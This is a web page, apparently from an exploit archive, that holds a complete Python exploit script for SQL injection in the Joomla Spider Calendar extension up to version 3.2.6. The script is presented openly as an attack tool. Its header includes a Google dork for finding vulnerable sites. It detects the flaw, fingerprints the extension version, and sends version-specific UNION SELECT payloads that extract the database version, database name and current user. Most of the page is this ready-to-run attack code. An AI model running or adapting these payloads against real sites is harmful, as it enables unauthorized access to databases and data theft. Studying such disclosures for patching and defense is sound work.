Joomla Spider Calendar <= 3.2.6 SQL Injection Exploit

2014.09.08
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

#!/usr/bin/env python # # # Exploit Title : Joomla Spider Calendar <= 3.2.6 SQL Injection # # Exploit Author : Claudio Viviani # # Vendor Homepage : http://web-dorado.com/ # # Software Link : http://extensions.joomla.org/extensions/calendars-a-events/events/events-calendars/22329 # # Dork Google: inurl:option=com_spidercalendar # # Date : 2014-08-31 # # Tested on : Windows 7 / Mozilla Firefox # Linux / Mozilla Firefox # # # ###################### # # PoC Exploit: # # http://localhost/joomla/index.php?option=com_spidercalendar&calendar_id=1 [SQLi] # # # "calendar_id" and "calendar" variables are not sanitized. # # # Vulnerability Disclosure Timeline: # # 2014-08-31: Discovered vulnerability # 2014-09-04: Vendor Notification # 2014-09-05: Vendor Response/Feedback # 2014-09-05: Vendor Fix/Patch # 2014-09-05: Public Disclosure import codecs import httplib import re import sys import socket import optparse banner = """ $$$$$\ $$\ $$$$$$\ $$\ $$\ \__$$ | $$ | $$ __$$\ \__| $$ | $$ | $$$$$$\ $$$$$$\ $$$$$$\$$$$\ $$ | $$$$$$\ $$ / \__| $$$$$$\ $$\ $$$$$$$ | $$$$$$\ $$$$$$\ $$ |$$ __$$\ $$ __$$\ $$ _$$ _$$\ $$ | \____$$\ \$$$$$$\ $$ __$$\ $$ |$$ __$$ |$$ __$$\ $$ __$$\ $$\ $$ |$$ / $$ |$$ / $$ |$$ / $$ / $$ |$$ | $$$$$$$ | \____$$\ $$ / $$ |$$ |$$ / $$ |$$$$$$$$ |$$ | \__| $$ | $$ |$$ | $$ |$$ | $$ |$$ | $$ | $$ |$$ |$$ __$$ | $$\ $$ |$$ | $$ |$$ |$$ | $$ |$$ ____|$$ | \$$$$$$ |\$$$$$$ |\$$$$$$ |$$ | $$ | $$ |$$ |\$$$$$$$ | \$$$$$$ |$$$$$$$ |$$ |\$$$$$$$ |\$$$$$$$\ $$ | \______/ \______/ \______/ \__| \__| \__|\__| \_______| \______/ $$ ____/ \__| \_______| \_______|\__| $$ | $$ | \__| $$$$$$\ $$\ $$\ $$$$$$\ $$$$$$\ $$$$$$\ $$ __$$\ $$ | $$ | $$ ___$$\ $$ __$$\ $$ __$$\ $$ / \__| $$$$$$\ $$ | $$$$$$\ $$$$$$$\ $$$$$$$ | $$$$$$\ $$$$$$\ \_/ $$ | \__/ $$ | $$ / \__| $$ | \____$$\ $$ |$$ __$$\ $$ __$$\ $$ __$$ | \____$$\ $$ __$$\ $$$$$ / $$$$$$ | $$$$$$$\ $$ | $$$$$$$ |$$ |$$$$$$$$ |$$ | $$ |$$ / $$ | $$$$$$$ |$$ | \__| \___$$\ $$ ____/ $$ __$$\ $$ | $$\ $$ __$$ |$$ |$$ ____|$$ | $$ |$$ | $$ |$$ __$$ |$$ | $$\ $$ | $$ | $$ / $$ | \$$$$$$ |\$$$$$$$ |$$ |\$$$$$$$\ $$ | $$ |\$$$$$$$ |\$$$$$$$ |$$ | \$$$$$$ |$$\ $$$$$$$$\ $$\ $$$$$$ | \______/ \_______|\__| \_______|\__| \__| \_______| \_______|\__| \______/ \__|\________|\__|\______/ j00ml4 Spid3r C4l3nd4r >= 2.x <= 3.2.6 SQLi Written by: Claudio Viviani http://www.homelab.it info@homelab.it homelabit@protonmail.ch https://www.facebook.com/homelabit https://twitter.com/homelabit https://plus.google.com/+HomelabIt1/ https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww """ C0mm4nds = dict() C0mm4nds['DB VERS'] = 'VERSION' C0mm4nds['DB NAME'] = 'DATABASE' C0mm4nds['DB USER'] = 'CURRENT_USER' com_spidercalendar = "index.php?option=com_spidercalendar&calendar_id=1" ver_spidercalendar = "administrator/components/com_spidercalendar/spidercalendar.xml" vuln = 0 def cmdMySQL(cmd): SqlInjList = [ # SQLi Spider Calendar 2.x '%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CCONCAT%280x68306d336c34623174%2CIFNULL%28CAST%28'+cmd+'%28%29%20AS%20CHAR%29%2C0x20%29%2C0x743162346c336d3068%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23', # SQLi Spider Calendar 3.0 '%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%2CCONCAT%280x68306d336c34623174%2CIFNULL%28CAST%28'+cmd+'%28%29%20AS%20CHAR%29%2C0x20%29%2C0x743162346c336d3068%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23', # SQLi Spider Calendar 3.2.x '%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CCONCAT%280x68306d336c34623174%2CIFNULL%28CAST%28'+cmd+'%28%29%20AS%20CHAR%29%2C0x20%29%2C0x743162346c336d3068%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23', ] return SqlInjList def checkProtocol(pr): parsedHost = "" PORT = m_oOptions.port if pr[0:8] == "https://": parsedHost = pr[8:] if parsedHost.endswith("/"): parsedHost = parsedHost.replace("/","") if PORT == 0: PORT = 443 PROTO = httplib.HTTPSConnection(parsedHost, PORT) elif pr[0:7] == "http://": parsedHost = pr[7:] if parsedHost.endswith("/"): parsedHost = parsedHost.replace("/","") if PORT == 0: PORT = 80 PROTO = httplib.HTTPConnection(parsedHost, PORT) else: parsedHost = pr if parsedHost.endswith("/"): parsedHost = parsedHost.replace("/","") if PORT == 0: PORT = 80 PROTO = httplib.HTTPConnection(parsedHost, PORT) return PROTO, parsedHost def connection(addr, url_string): parsedHost = checkProtocol(addr)[1] PROTO = checkProtocol(addr)[0] try: socket.gethostbyname(parsedHost) except socket.gaierror: print 'Hostname could not be resolved. Exiting' sys.exit() connection_req = checkProtocol(addr)[0] try: connection_req.request('GET', url_string) except socket.error: print('Connection Error') sys.exit(1) response = connection_req.getresponse() reader = codecs.getreader("utf-8")(response) return {'response':response, 'reader':reader} if __name__ == '__main__': m_oOpts = optparse.OptionParser("%prog -H http[s]://Host_or_IP [-b, --base base_dir] [-p, --port PORT]") m_oOpts.add_option('--host', '-H', action='store', type='string', help='The address of the host running Spider Calendar extension(required)') m_oOpts.add_option('--base', '-b', action='store', type='string', default="/", help='base dir joomla installation, default "/")') m_oOpts.add_option('--port', '-p', action='store', type='int', default=0, help='The port on which the daemon is running (default 80)') m_oOptions, remainder = m_oOpts.parse_args() m_nHost = m_oOptions.host m_nPort = m_oOptions.port m_nBase = m_oOptions.base if not m_nHost: print(banner) print m_oOpts.format_help() sys.exit(1) print(banner) if m_nBase != "/": if m_nBase[0] == "/": m_nBase = m_nBase[1:] if m_nBase[-1] == "/": m_nBase = m_nBase[:-1] else: if m_nBase[-1] == "/": m_nBase = m_nBase[:-1] m_nBase = '/'+m_nBase+'/' # Start connection to host for Joomla Spider Calendar vulnerability response = connection(m_nHost, m_nBase+com_spidercalendar+'%27').values()[0] reader = connection(m_nHost, m_nBase+com_spidercalendar+'%27').values()[1] # Read connection code number getcode = response.status print("[+] Searching for Joomla Spider Calendar vulnerability...") print("[+]") if getcode != 404: for lines in reader: if not lines.find("You have an error in your SQL syntax;") == -1: print("[!] Boolean SQL injection vulnerability FOUND!") print("[+]") print("[+] Detection version in progress....") print("[+]") try: response = connection(m_nHost, m_nBase+ver_spidercalendar).values()[0] reader = connection(m_nHost, m_nBase+ver_spidercalendar).values()[1] getcode = response.status if getcode != 404: for line_version in reader: if not line_version.find("<version>") == -1: VER = re.compile('>(.*?)<').search(line_version).group(1) VER_REP = VER.replace(".","") if int(VER_REP[0]) == 1 or int(VER_REP) > 326: print("[X] VERSION: "+VER) print("[X] Joomla Spider Calendar <= 1 or >= 3.2.7 are not vulnerable") sys.exit(1) elif int(VER_REP[0]) == 2: print("[+] EXTENSION VERSION: "+VER) print("[+]") for cmddesc, cmdsqli in C0mm4nds.items(): try: response = connection(m_nHost, m_nBase+com_spidercalendar+cmdMySQL(cmdsqli)[0]).values()[0] reader = connection(m_nHost, m_nBase+com_spidercalendar+cmdMySQL(cmdsqli)[0]).values()[1] getcode = response.status if getcode != 404: for line_response in reader: if not line_response.find("h0m3l4b1t") == -1: MYSQL_VER = re.compile('h0m3l4b1t(.*?)t1b4l3m0h').search(line_response).group(1) if vuln == 0: print("[!] "+m_nHost+" VULNERABLE!!!") print("[+]") print("[!] "+cmddesc+" : "+MYSQL_VER) vuln = 1 except socket.error: print('[X] Connection was lost please retry') sys.exit(1) elif int(VER_REP) == 30: print("[+] EXTENSION VERSION: "+VER) print("[+]") for cmddesc, cmdsqli in C0mm4nds.items(): try: response = connection(m_nHost, m_nBase+com_spidercalendar+cmdMySQL(cmdsqli)[1]).values()[0] reader = connection(m_nHost, m_nBase+com_spidercalendar+cmdMySQL(cmdsqli)[1]).values()[1] getcode = response.status if getcode != 404: for line_response in reader: if not line_response.find("h0m3l4b1t") == -1: MYSQL_VER = re.compile('h0m3l4b1t(.*?)t1b4l3m0h').search(line_response).group(1) if vuln == 0: print("[!] "+m_nHost+" VULNERABLE!!!") print("[+]") print("[!] "+cmddesc+" : "+MYSQL_VER) vuln = 1 except socket.error: print('[X] Connection was lost please retry') sys.exit(1) elif int(VER_REP[0]) == 3: print("[+] EXTENSION VERSION: "+VER) print("[+]") for cmddesc, cmdsqli in C0mm4nds.items(): try: response = connection(m_nHost, m_nBase+com_spidercalendar+cmdMySQL(cmdsqli)[2]).values()[0] reader = connection(m_nHost, m_nBase+com_spidercalendar+cmdMySQL(cmdsqli)[2]).values()[1] getcode = response.status if getcode != 404: for line_response in reader: if not line_response.find("h0m3l4b1t") == -1: MYSQL_VER = re.compile('h0m3l4b1t(.*?)t1b4l3m0h').search(line_response).group(1) if vuln == 0: print("[!] "+m_nHost+" VULNERABLE!!!") print("[+]") print("[!] "+cmddesc+" : "+MYSQL_VER) vuln = 1 except socket.error: print('[X] Connection was lost please retry') sys.exit(1) else: print("[-] EXTENSION VERSION: Unknown :(") sys.exit(0) if vuln == 0: # VERSION NOT VULNERABLE :( print("[X] Spider Calendar patched or SQLi blocked by Web Application Firewall-") sys.exit(1) else: sys.exit(0) except socket.error: print('[X] Connection was lost please retry') sys.exit(1) # NO SQL BLIND DETECTED print("[X] Spider Calendar patched or SQLi blocked by Web Application Firewall") sys.exit(1) else: print('[X] URL "'+m_nHost+m_nBase+com_spidercalendar+'" NOT FOUND') sys.exit(1)


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top